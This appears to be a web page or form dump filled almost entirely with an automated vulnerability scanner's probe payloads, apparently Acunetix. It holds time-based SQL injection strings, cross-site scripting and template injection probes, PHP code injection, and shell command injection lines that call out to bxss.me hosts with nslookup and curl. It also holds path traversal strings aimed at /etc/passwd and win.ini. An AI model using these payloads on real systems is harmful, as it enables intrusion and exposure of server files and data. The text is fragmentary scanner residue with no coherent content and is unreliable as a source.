20

  20

  @@a8eu0

  20����%2527%2522\'\"

  20'"

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20lRgxxN3m')) OR 341=(SELECT 341 FROM PG_SLEEP(15))--

  20Kg5yBPeA') OR 587=(SELECT 587 FROM PG_SLEEP(15))--

  20RL5aX3bm' OR 553=(SELECT 553 FROM PG_SLEEP(15))--

  20-1)) OR 645=(SELECT 645 FROM PG_SLEEP(15))--

  20-1) OR 607=(SELECT 607 FROM PG_SLEEP(15))--

  20-1 OR 567=(SELECT 567 FROM PG_SLEEP(15))--

  200l0Lt6Ps')); waitfor delay '0:0:15' --

  208COz8PsX'); waitfor delay '0:0:15' --

  20v5v3aEuj'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20<iframe src="9086.com"></iframe>

  20

  204sf4q

  20}body{zzz:Expre/**/SSion(F1Es(9938))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  20<input>

  �<img>

  20&lt;ScRiPt&gt;F1Es(9633)&lt;/sCripT&gt;

  20\u003CScRiPt\F1Es(9538)\u003C/sCripT\u003E

  %32%30%3C%53%63%52%69%50%74%20%3E%46%31%45%73%289283%29%3C%2F%73%43%72%69%70%54%3E

  20

  20<img src="&gt;">

  20<img src="xyz">

  20<img src="//xss.bxss.me/t/dot.gif">

  20

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  20&lt;ScRiPt &gt;F1Es(9979)

  20

  20

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%46%31%45%73%28%39%34%34%32%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  209379

  20

  20

  20

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  20

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  20

 

  20

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx8497%C0%BEz1%C0%BCz2a%90bcxhjl8497

  bfg1736%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl1736

  209417054

  '"()&amp;%

  20'"()&amp;%

  20

  20"||sleep(27*1000)*yvybtq||"

  20'||sleep(27*1000)*wkzpwc||'

  20"&amp;&amp;sleep(27*1000)*mrgsmv&amp;&amp;"

  20'&amp;&amp;sleep(27*1000)*jedtdh&amp;&amp;'

  20

  '"()

  20

  20

  20

  20

  20

  20

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  ${@print(md5(31337))}

  ";print(md5(31337));$a="

  ;(nslookup -q=cname hitbrjmbehzidf3c3e.bxss.me||curl hitbrjmbehzidf3c3e.bxss.me)|(nslookup -q=cname hitbrjmbehzidf3c3e.bxss.me||curl hitbrjmbehzidf3c3e.bxss.me)&amp;(nslookup -q=cname hitbrjmbehzidf3c3e.bxss.me||curl hitbrjmbehzidf3c3e.bxss.me)

  ';print(md5(31337));$a='

  `(nslookup -q=cname hithvyhppfkie893a7.bxss.me||curl hithvyhppfkie893a7.bxss.me)`

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  |(nslookup -q=cname hithbojyxustn11e82.bxss.me||curl hithbojyxustn11e82.bxss.me)

  &amp;(nslookup -q=cname hitflqlksjddjd2054.bxss.me||curl hitflqlksjddjd2054.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitflqlksjddjd2054.bxss.me||curl hitflqlksjddjd2054.bxss.me)&amp;`'

  20

  &amp;nslookup -q=cname hitbkpeiqurns195be.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitbkpeiqurns195be.bxss.me&amp;`'

  $(nslookup -q=cname hitkphzgofkgu2daf5.bxss.me||curl hitkphzgofkgu2daf5.bxss.me)

  (nslookup -q=cname hitknyhoifeta75d6a.bxss.me||curl hitknyhoifeta75d6a.bxss.me))

  20|echo nhffxr$()\ pbkfwc\nz^xyu||a #' |echo nhffxr$()\ pbkfwc\nz^xyu||a #|" |echo nhffxr$()\ pbkfwc\nz^xyu||a #

  ".gethostbyname(lc("hitdl"."shtxexks2946f.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(81).chr(110).chr(84)."

  |echo ejvmus$()\ taobvt\nz^xyu||a #' |echo ejvmus$()\ taobvt\nz^xyu||a #|" |echo ejvmus$()\ taobvt\nz^xyu||a #

  20&amp;echo ycpnis$()\ pxouqo\nz^xyu||a #' &amp;echo ycpnis$()\ pxouqo\nz^xyu||a #|" &amp;echo ycpnis$()\ pxouqo\nz^xyu||a #

  '.gethostbyname(lc('hitde'.'zxyaslndbc020.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(68).chr(119).chr(80).'

  20

  &amp;echo uaksgl$()\ rsedii\nz^xyu||a #' &amp;echo uaksgl$()\ rsedii\nz^xyu||a #|" &amp;echo uaksgl$()\ rsedii\nz^xyu||a #

  20

  20

  echo qxmugq$()\ cxpyra\nz^xyu||a #' &amp;echo qxmugq$()\ cxpyra\nz^xyu||a #|" &amp;echo qxmugq$()\ cxpyra\nz^xyu||a #

  20

  20

  20

  20

 

  '"

  '+'A'.concat(70-3).concat(22*4).concat(102).concat(82).concat(104).concat(88)+(require'socket' Socket.gethostbyname('hithx'+'wxwzhqyqb8b70.bxss.me.')[3].to_s)+'

  "+"A".concat(70-3).concat(22*4).concat(121).concat(78).concat(101).concat(81)+(require"socket" Socket.gethostbyname("hitnj"+"wvukzprr0382d.bxss.me.")[3].to_s)+"

  /\xfs.bxss.me?parliament.mn

  //xfs.bxss.me?parliament.mn

  12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡

  xfs.bxss.me?parliament.mn

  "+response.write(9501344*9010194)+"

  http://xfs.bxss.me?parliament.mn

  '+response.write(9501344*9010194)+'

  981145

  bxss.me/t/xss.html?%00

  response.write(9501344*9010194)

  xfs.bxss.me

  HttP://bxss.me/t/xss.html?%00

  20

  bxss.me

  c:/windows/win.ini

  20

  /etc/shells

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  http://bxss.me/t/fit.txt%3F.jpg

  Http://bxss.me/t/fit.txt

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  ./20

  ../20

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  20

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  20

  20

  ^(#$!@#$)(()))******

  !(()&amp;&amp;!|*|*|

  )

  20

  20

  20

  ${10000162+9999335}

  20

  20

  20

  20

  20

  20